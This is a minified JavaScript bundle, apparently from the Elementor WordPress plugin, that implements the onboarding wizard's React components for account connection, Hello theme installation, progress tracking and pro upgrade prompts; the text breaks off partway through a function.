App(){return(0,a.useEffect)((function(){if(!elementorAppConfig.onboarding.onboardingAlreadyRan){var e=new FormData;e.append("_nonce",elementorCommon.config.ajax.nonce),e.append("action","elementor_update_onboarding_option"),fetch(elementorCommon.config.ajax.url,{method:"POST",body:e})}elementorAppConfig.return_url=elementorAppConfig.admin_url}),[]),a.default.createElement(c.ContextProvider,null,a.default.createElement(i.LocationProvider,{history:l.default.appHistory},a.default.createElement(i.Router,null,a.default.createElement(u.default,{default:!0}),a.default.createElement(s.default,{path:"hello"}),a.default.createElement(d.default,{path:"siteName"}),a.default.createElement(p.default,{path:"siteLogo"}),a.default.createElement(f.default,{path:"goodToGo"}),a.default.createElement(m.default,{path:"uploadAndInstallPro"}))))};var a=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==r(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},a=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=a?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),i=n(50927),l=o(n(3869)),c=n(73185),u=o(n(84802)),s=o(n(45050)),d=o(n(50030)),p=o(n(93679)),f=o(n(62177)),m=o(n(93484));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}},45159:(e,t,n)=>{var o=n(23615),r=n(73203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=Button;var a=r(n(87363));function Button(e){var t=e.buttonSettings,n=e.type,o="e-onboarding__button";return n&&(o+=" e-onboarding__button-".concat(n)),t.className?t.className+=" "+o:t.className=o,t.href?a.default.createElement("a",t,t.text):a.default.createElement("div",t,t.text)}Button.propTypes={buttonSettings:o.object.isRequired,type:o.string}},70343:(e,t,n)=>{var o=n(23615),r=n(73203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=Card;var a=r(n(87363));function Card(e){var t=e.image,n=e.imageAlt,o=e.text,r=e.link,i=e.name,l=e.clickAction;return a.default.createElement("a",{className:"e-onboarding__card",href:r,onClick:function onClick(){elementorCommon.events.dispatchEvent({event:"starting canvas click",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,selection:i}}),l&&l()}},a.default.createElement("img",{className:"e-onboarding__card-image",src:t,alt:n}),a.default.createElement("div",{className:"e-onboarding__card-text"},o))}Card.propTypes={image:o.string.isRequired,imageAlt:o.string.isRequired,text:o.string.isRequired,link:o.string.isRequired,name:o.string.isRequired,clickAction:o.func}},22131:(e,t,n)=>{var o=n(23615),r=n(73203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=ChecklistItem;var a=r(n(87363));function ChecklistItem(e){return a.default.createElement("li",{className:"e-onboarding__checklist-item"},a.default.createElement("i",{className:"eicon-check-circle"}),e.children)}ChecklistItem.propTypes={children:o.string}},64835:(e,t,n)=>{var o=n(23615),r=n(73203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=Checklist;var a=r(n(87363));function Checklist(e){return a.default.createElement("ul",{className:"e-onboarding__checklist"},e.children)}Checklist.propTypes={children:o.any.isRequired}},1962:(e,t,n)=>{var o=n(38003).__,r=n(23615),a=n(73203),i=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=GoProPopover;var l=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==i(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=r?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}o.default=e,n&&n.set(e,o);return o}(n(87363)),c=n(73185),u=a(n(52946)),s=a(n(64835)),d=a(n(22131)),p=a(n(45159));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}function GoProPopover(e){var t=(0,l.useContext)(c.OnboardingContext),n=t.state,r=t.updateState,a=(0,l.useCallback)((function(e){e&&e.addEventListener("click",(function(t){t.preventDefault(),elementorCommon.events.dispatchEvent({event:"already have pro",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep}}),window.open(e.href+"&mode=popup","elementorUploadPro","toolbar=no, menubar=no, width=728, height=531, top=100, left=100"),elementorCommon.elements.$body.on("elementor/upload-and-install-pro/success",(function(){r({hasPro:!0,proNotice:{type:"success",icon:"eicon-check-circle-o",message:o("Elementor Pro has been successfully installed.","elementor")}})}))}))}),[]),i=e.buttonsConfig.find((function(e){return"go-pro"===e.id})),f={text:o("Upgrade Now","elementor"),className:"e-onboarding__go-pro-cta",target:"_blank",href:"https://elementor.com/pro/?utm_source=onboarding-wizard&utm_campaign=gopro&utm_medium=wp-dash&utm_content=top-bar-dropdown&utm_term="+elementorAppConfig.onboarding.onboardingVersion,tabIndex:0,onClick:function onClick(){elementorCommon.events.dispatchEvent({event:"get elementor pro",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep}})}};return l.default.createElement(u.default,{targetRef:i.elRef,wrapperClass:"e-onboarding__go-pro"},l.default.createElement("div",{className:"e-onboarding__go-pro-content"},l.default.createElement("h2",{className:"e-onboarding__go-pro-title"},o("Ready to Go Pro?","elementor")),l.default.createElement(s.default,null,l.default.createElement(d.default,null,o("90+ Basic & Pro widgets","elementor")),l.default.createElement(d.default,null,o("300+ Basic & Pro templates","elementor")),l.default.createElement(d.default,null,o("Premium Support","elementor"))),l.default.createElement("div",{className:"e-onboarding__go-pro-paragraph"},o("And so much more!","elementor")),l.default.createElement("div",{className:"e-onboarding__go-pro-paragraph"},l.default.createElement(p.default,{buttonSettings:f})),l.default.createElement("div",{className:"e-onboarding__go-pro-paragraph"},l.default.createElement("a",{tabIndex:"0",className:"e-onboarding__go-pro-already-have",ref:a,href:elementorAppConfig.onboarding.urls.uploadPro,rel:"opener"},o("Already have Elementor Pro?","elementor")))))}GoProPopover.propTypes={buttonsConfig:r.array.isRequired}},16694:(e,t,n)=>{var o=n(23615),r=n(73203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=FooterButtons;var a=r(n(87363)),i=r(n(57390)),l=r(n(45159)),c=r(n(80366));function FooterButtons(e){var t=e.actionButton,n=e.skipButton,o=e.className,r="e-onboarding__footer";return o&&(r+=" "+o),a.default.createElement(i.default,{container:!0,alignItems:"center",justify:"space-between",className:r},t&&a.default.createElement(l.default,{buttonSettings:t,type:"action"}),n&&a.default.createElement(c.default,{button:n}))}FooterButtons.propTypes={actionButton:o.object,skipButton:o.object,className:o.string}},50841:(e,t,n)=>{var o=n(38003).__,r=n(23615),a=n(73203),i=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=Header;var l=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==i(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=r?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}o.default=e,n&&n.set(e,o);return o}(n(87363)),c=n(73185),u=a(n(57390)),s=a(n(1962)),d=a(n(50888)),p=a(n(4801));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}function Header(e){(0,p.default)({title:e.title});var t=(0,l.useContext)(c.OnboardingContext).state;return l.default.createElement(u.default,{container:!0,alignItems:"center",justify:"space-between",className:"eps-app__header e-onboarding__header"},l.default.createElement("div",{className:"eps-app__logo-title-wrapper e-onboarding__header-logo"},l.default.createElement("i",{className:"eps-app__logo eicon-elementor"}),l.default.createElement("img",{src:elementorCommon.config.urls.assets+"images/logo-platform.svg",alt:o("Elementor Logo","elementor")})),l.default.createElement(d.default,{buttons:e.buttons,onClose:function onClose(){elementorCommon.events.dispatchEvent({event:"close modal",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:t.currentStep}}),window.top.location=elementorAppConfig.admin_url}}),!t.hasPro&&l.default.createElement(s.default,{buttonsConfig:e.buttons}))}Header.propTypes={title:r.string,buttons:r.arrayOf(r.object)},Header.defaultProps={buttons:[]}},84474:(e,t,n)=>{var o=n(38003).__,r=n(23615),a=n(73203),i=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=Layout;var l=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==i(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=r?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}o.default=e,n&&n.set(e,o);return o}(n(87363)),c=n(73185),u=a(n(50841)),s=a(n(12418)),d=a(n(32161)),p=a(n(17726));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}function Layout(e){(0,l.useEffect)((function(){elementorCommon.events.dispatchEvent({event:"modal load",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:e.pageId,user_state:elementorCommon.config.library_connect.is_connected?"logged":"anon"}}),r({currentStep:e.pageId,nextStep:e.nextStep||"",proNotice:null})}),[e.pageId]);var t=(0,l.useContext)(c.OnboardingContext),n=t.state,r=t.updateState,a=[],i=(0,l.useRef)(),f={id:"create-account",text:o("Create Account","elementor-pro"),hideText:!1,elRef:(0,l.useRef)(),url:elementorAppConfig.onboarding.urls.signUp+elementorAppConfig.onboarding.utms.connectTopBar,target:"_blank",rel:"opener",onClick:function onClick(){elementorCommon.events.dispatchEvent({event:"create account",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep,source:"header"}})}};return n.isLibraryConnected?a.push({id:"my-elementor",text:o("My Elementor","elementor-pro"),hideText:!1,icon:"eicon-user-circle-o",url:"https://my.elementor.com/?utm_source=onboarding-wizard&utm_medium=wp-dash&utm_campaign=my-account&utm_content=top-bar&utm_term="+elementorAppConfig.onboarding.onboardingVersion,target:"_blank",onClick:function onClick(){elementorCommon.events.dispatchEvent({event:"my elementor click",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep,source:"header"}})}}):a.push(f),n.hasPro||a.push({id:"go-pro",text:o("Go Pro","elementor-pro"),hideText:!1,icon:"eicon-pro-icon",url:"https://elementor.com/pro/?utm_source=onboarding-wizard&utm_campaign=gopro&utm_medium=wp-dash&utm_content=top-bar&utm_term="+elementorAppConfig.onboarding.onboardingVersion,target:"_blank",elRef:i,onClick:function onClick(){elementorCommon.events.dispatchEvent({event:"go pro",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep}})}}),l.default.createElement("div",{className:"eps-app__lightbox"},l.default.createElement("div",{className:"eps-app e-onboarding"},!n.isLibraryConnected&&l.default.createElement(p.default,{buttonRef:f.elRef}),l.default.createElement(u.default,{title:o("Getting Started","elementor"),buttons:a}),l.default.createElement("div",{className:"eps-app__main e-onboarding__page-"+e.pageId},l.default.createElement(d.default,{className:"e-onboarding__content"},l.default.createElement(s.default,null),e.children))))}Layout.propTypes={pageId:r.string.isRequired,nextStep:r.string,className:r.string,children:r.any.isRequired}},60627:(e,t,n)=>{var o=n(23615),r=n(73203),a=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=PageContentLayout;var i=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==a(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=r?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),l=n(73185),c=r(n(57390)),u=r(n(48228)),s=r(n(16694));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}function PageContentLayout(e){var t=(0,i.useContext)(l.OnboardingContext).state;return i.default.createElement(i.default.Fragment,null,i.default.createElement(c.default,{container:!0,alignItems:"center",justify:"space-between",className:"e-onboarding__page-content"},i.default.createElement("div",{className:"e-onboarding__page-content-start"},i.default.createElement("h1",{className:"e-onboarding__page-content-section-title"},e.title),i.default.createElement("div",{className:"e-onboarding__page-content-section-text"},e.children)),i.default.createElement("div",{className:"e-onboarding__page-content-end"},i.default.createElement("img",{src:e.image,alt:"Information"}))),i.default.createElement("div",{className:"e-onboarding__notice-container"},e.noticeState||t.proNotice?function printNotices(){return i.default.createElement(i.default.Fragment,null,e.noticeState&&i.default.createElement(u.default,{noticeState:e.noticeState}),t.proNotice&&i.default.createElement(u.default,{noticeState:t.proNotice}))}():i.default.createElement("div",{className:"e-onboarding__notice-empty-spacer"})),i.default.createElement(s.default,{actionButton:e.actionButton,skipButton:e.skipButton}))}PageContentLayout.propTypes={title:o.string,children:o.any,image:o.string,actionButton:o.object,skipButton:o.object,noticeState:o.any}},48228:(e,t,n)=>{var o=n(23615),r=n(73203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=Notice;var a=r(n(87363));function Notice(e){return a.default.createElement("div",{className:"e-onboarding__notice e-onboarding__notice--".concat(e.noticeState.type)},a.default.createElement("i",{className:e.noticeState.icon}),a.default.createElement("span",{className:"e-onboarding__notice-text"},e.noticeState.message))}Notice.propTypes={noticeState:o.object}},54274:(e,t,n)=>{var o=n(23615),r=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=ProgressBarItem;var a=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==r(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},a=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=a?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),i=n(73185);function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}function ProgressBarItem(e){var t=(0,a.useContext)(i.OnboardingContext).state,n="completed"===t.steps[e.id],o="skipped"===t.steps[e.id],r="e-onboarding__progress-bar-item";return e.id===t.currentStep?r+=" e-onboarding__progress-bar-item--active":n?r+=" e-onboarding__progress-bar-item--completed":o&&(r+=" e-onboarding__progress-bar-item--skipped"),a.default.createElement("div",{onClick:e.onClick,className:r},a.default.createElement("div",{className:"e-onboarding__progress-bar-item-icon"},n?a.default.createElement("i",{className:"eicon-check"}):e.index+1),e.title)}ProgressBarItem.propTypes={index:o.number.isRequired,id:o.string.isRequired,title:o.string.isRequired,route:o.string,onClick:o.func}},12418:(e,t,n)=>{var o=n(38003).__,r=n(73203),a=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=function ProgressBar(){var e=(0,i.useContext)(c.OnboardingContext).state,t=(0,u.useNavigate)(),n=[{id:"account",title:o("Elementor Account","elementor"),route:"account"}];elementorAppConfig.onboarding.helloActivated||n.push({id:"hello",title:o("Hello Theme","elementor"),route:"hello"});n.push({id:"siteName",title:o("Site Name","elementor"),route:"site-name"},{id:"siteLogo",title:o("Site Logo","elementor"),route:"site-logo"},{id:"goodToGo",title:o("Good to Go","elementor"),route:"good-to-go"});var r=n.map((function(n,o){return n.index=o,e.steps[n.id]&&(n.onClick=function(){elementorCommon.events.dispatchEvent({event:"step click",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:e.currentStep,next_step:n.id}}),t("/onboarding/"+n.id)}),i.default.createElement(s.default,(0,l.default)({key:n.id},n))}));return i.default.createElement("div",{className:"e-onboarding__progress-bar"},r)};var i=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==a(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=r?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),l=r(n(73119)),c=n(73185),u=n(50927),s=r(n(54274));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}},80366:(e,t,n)=>{var o=n(23615),r=n(73203),a=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=SkipButton;var i=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==a(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=r?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),l=n(73185),c=n(50927),u=r(n(45159));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}function SkipButton(e){var t=e.button,n=e.className,o=(0,i.useContext)(l.OnboardingContext),r=o.state,a=o.updateState,s=(0,c.useNavigate)(),d=t.action||function skipStep(){var e=JSON.parse(JSON.stringify(r));e.steps[r.currentStep]="skipped",a(e),r.nextStep&&s("onboarding/"+r.nextStep)};return delete t.action,t.onClick=function(){elementorCommon.events.dispatchEvent({event:"skip",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:r.currentStep}}),t.href||d()},i.default.createElement(u.default,{buttonSettings:t,className:n,type:"skip"})}SkipButton.propTypes={button:o.object.isRequired,className:o.string}},73185:(e,t,n)=>{var o=n(23615),r=n(73203),a=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.ContextProvider=ContextProvider,t.OnboardingContext=void 0;var i=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==a(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=r?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),l=r(n(93231)),c=r(n(40131));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}function ownKeys(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function _objectSpread(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?ownKeys(Object(n),!0).forEach((function(t){(0,l.default)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ownKeys(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var u=(0,i.createContext)({});function ContextProvider(e){var t=elementorAppConfig.onboarding,n={hasPro:elementorAppConfig.hasPro,isLibraryConnected:t.isLibraryConnected,isHelloThemeInstalled:t.helloInstalled,isHelloThemeActivated:t.helloActivated,siteName:t.siteName,siteLogo:t.siteLogo,proNotice:"",currentStep:"",nextStep:"",steps:{account:!1,hello:!1,siteName:!1,siteLogo:!1,goodToGo:!1}},o=(0,i.useState)(n),r=(0,c.default)(o,2),a=r[0],l=r[1],s=(0,i.useCallback)((function(e){l((function(t){return _objectSpread(_objectSpread({},t),e)}))}),[l]);return i.default.createElement(u.Provider,{value:{state:a,setState:l,updateState:s,getStateObjectToUpdate:function getStateObjectToUpdate(e,t,n,o){var r=JSON.parse(JSON.stringify(e));return r[t][n]=o,r}}},e.children)}t.OnboardingContext=u,ContextProvider.propTypes={children:o.any}},84802:(e,t,n)=>{var o=n(38003).__,r=n(73203),a=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=function Account(){var e,t=(0,i.useContext)(u.OnboardingContext),n=t.state,r=t.updateState,a=t.getStateObjectToUpdate,f=(0,i.useState)(null),m=(0,l.default)(f,2),g=m[0],v=m[1],b=(0,c.useNavigate)(),_="account",h=n.isHelloThemeActivated?"siteName":"hello",y=(0,i.useRef)(),C=(0,i.useRef)();"completed"!==n.steps.account&&(e={text:o("Skip","elementor")});var E={};E=n.isLibraryConnected?{firstLine:o("To get the most out of Elementor, we'll help you take your first steps:","elementor"),listItems:[o("Set your site's theme","elementor"),o("Give your site a name & logo","elementor"),o("Choose how to start creating","elementor")]}:{firstLine:o("To get the most out of Elementor, we’ll connect your account.","elementor")+" "+o("Then you can:","elementor"),listItems:[o("Choose from countless professional templates","elementor"),o("Manage your site with our handy dashboard","elementor"),o("Take part in the community forum, share & grow together","elementor")]};var O={role:"button"};n.isLibraryConnected?(O.text=o("Let’s do it","elementor"),O.onClick=function(){elementorCommon.events.dispatchEvent({event:"next",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep}}),r(a(n,"steps",_,"completed")),b("onboarding/"+h)}):(O.text=o("Create my account","elementor"),O.href=elementorAppConfig.onboarding.urls.signUp+elementorAppConfig.onboarding.utms.connectCta,O.ref=y,O.onClick=function(){elementorCommon.events.dispatchEvent({event:"create account",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,source:"cta"}})});var P=function connectSuccessCallback(e){var t=a(n,"steps",_,"completed");t.isLibraryConnected=!0,elementorCommon.config.library_connect.is_connected=!0,elementorCommon.config.library_connect.current_access_level=e.kits_access_level||e.access_level||0,r(t),elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep,action_state:"success",action:"connect account"}}),v({type:"success",icon:"eicon-check-circle-o",message:"Alrighty - your account is connected."}),b("onboarding/"+h)},k=function connectFailureCallback(){elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep,action_state:"failure",action:"connect account"}}),v({type:"error",icon:"eicon-warning",message:o("Oops, the connection failed. Try again.","elementor")}),b("onboarding/"+h)};return i.default.createElement(d.default,{pageId:_,nextStep:h},i.default.createElement(p.default,{image:elementorCommon.config.urls.assets+"images/app/onboarding/Illustration_Account.svg",title:o("You're here! Let's set things up.","elementor"),actionButton:O,skipButton:e,noticeState:g},O.ref&&!n.isLibraryConnected&&i.default.createElement(s.default,{buttonRef:O.ref,successCallback:function successCallback(e){return P(e)},errorCallback:k}),i.default.createElement("span",null,E.firstLine),i.default.createElement("ul",null,E.listItems.map((function(e,t){return i.default.createElement("li",{key:"listItem"+t},e)})))),!n.isLibraryConnected&&i.default.createElement("div",{className:"e-onboarding__footnote"},i.default.createElement("p",null,o("Already have one?","elementor")+" ",i.default.createElement("a",{ref:C,href:elementorAppConfig.onboarding.urls.connect+elementorAppConfig.onboarding.utms.connectCtaLink,onClick:function onClick(){elementorCommon.events.dispatchEvent({event:"connect account",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement}})}},o("Connect your account","elementor"))),i.default.createElement(s.default,{buttonRef:C,successCallback:P,errorCallback:k})))};var i=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==a(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=r?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),l=r(n(40131)),c=n(50927),u=n(73185),s=r(n(17726)),d=r(n(84474)),p=r(n(60627));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}},62177:(e,t,n)=>{var o=n(38003).__,r=n(73203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=function GoodToGo(){var e={text:o("Skip","elementor"),href:elementorAppConfig.onboarding.urls.createNewPage},t=elementorAppConfig.onboarding.urls.kitLibrary+"&referrer=onboarding";return a.default.createElement(l.default,{pageId:"goodToGo"},a.default.createElement("h1",{className:"e-onboarding__page-content-section-title"},o("That's a wrap! What's next?","elementor")),a.default.createElement("div",{className:"e-onboarding__page-content-section-text"},o("There are two ways to get started with Elementor:","elementor")),a.default.createElement(i.default,{container:!0,alignItems:"center",justify:"space-between",className:"e-onboarding__cards-grid e-onboarding__page-content"},a.default.createElement(c.default,{name:"blank",image:elementorCommon.config.urls.assets+"images/app/onboarding/Blank_Canvas.svg",imageAlt:o("Click here to create a new page and open it in Elementor Editor","elementor"),text:o("Edit a blank canvas with the Elementor Editor","elementor"),link:elementorAppConfig.onboarding.urls.createNewPage}),a.default.createElement(c.default,{name:"template",image:elementorCommon.config.urls.assets+"images/app/onboarding/Library.svg",imageAlt:o("Click here to go to Elementor's Kit Library","elementor"),text:o("Browse from +100 templates or import your own","elementor"),link:t,clickAction:function clickAction(){location.href=t,location.reload()}})),a.default.createElement(u.default,{skipButton:e,className:"e-onboarding__good-to-go-footer"}))};var a=r(n(87363)),i=r(n(57390)),l=r(n(84474)),c=r(n(70343)),u=r(n(16694))},45050:(e,t,n)=>{var o=n(38003).__,r=n(73203),a=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=function HelloTheme(){var e=(0,i.useContext)(c.OnboardingContext),t=e.state,n=e.updateState,r=e.getStateObjectToUpdate,a=(0,s.default)(),f=a.ajaxState,m=a.setAjax,g=(0,i.useState)(!1),v=(0,l.default)(g,2),b=v[0],_=v[1],h=(0,i.useState)(!1),y=(0,l.default)(h,2),C=y[0],E=y[1],O={type:"success",icon:"eicon-check-circle-o",message:o("Your site’s got Hello theme. High-five!","elementor")},P=(0,i.useState)(t.isHelloThemeActivated?O:null),k=(0,l.default)(P,2),w=k[0],j=k[1],S=(0,i.useState)([]),N=(0,l.default)(S,2),x=N[0],W=N[1],R=t.isHelloThemeActivated?o("Next","elementor"):o("Continue with Hello Theme","elementor"),T=(0,i.useState)(R),A=(0,l.default)(T,2),M=A[0],q=A[1],L=(0,u.useNavigate)(),D="hello",I="siteName",B=function goToNextScreen(){return L("onboarding/siteName")};(0,i.useEffect)((function(){if(!b&&t.isHelloThemeActivated){var e=r(t,"steps",D,"completed");n(e),B()}}),[]);var H,U=function resetScreenContent(){x.forEach((function(e){return clearTimeout(e)})),W([]),E(!1),q(R)},G=(0,i.useCallback)((function(){E(!1),elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:t.currentStep,action_state:"success",action:"hello theme activation"}}),j(O),q(o("Next","elementor"));var e=r(t,"steps",D,"completed");e.isHelloThemeActivated=!0,n(e),_(!0),B()}),[]),F=function activateHelloTheme(){E(!0),n({isHelloThemeInstalled:!0}),m({data:{action:"elementor_activate_hello_theme"}})},z=function installHelloTheme(){C||E(!0),wp.updates.ajax("install-theme",{slug:"hello-elementor",success:function success(){return F()},error:function error(){return function onErrorInstallHelloTheme(){elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:t.currentStep,action_state:"failure",action:"hello theme install"}}),j({type:"error",icon:"eicon-warning",message:o("There was a problem installing Hello Theme.","elementor")}),U()}()}})},V=function 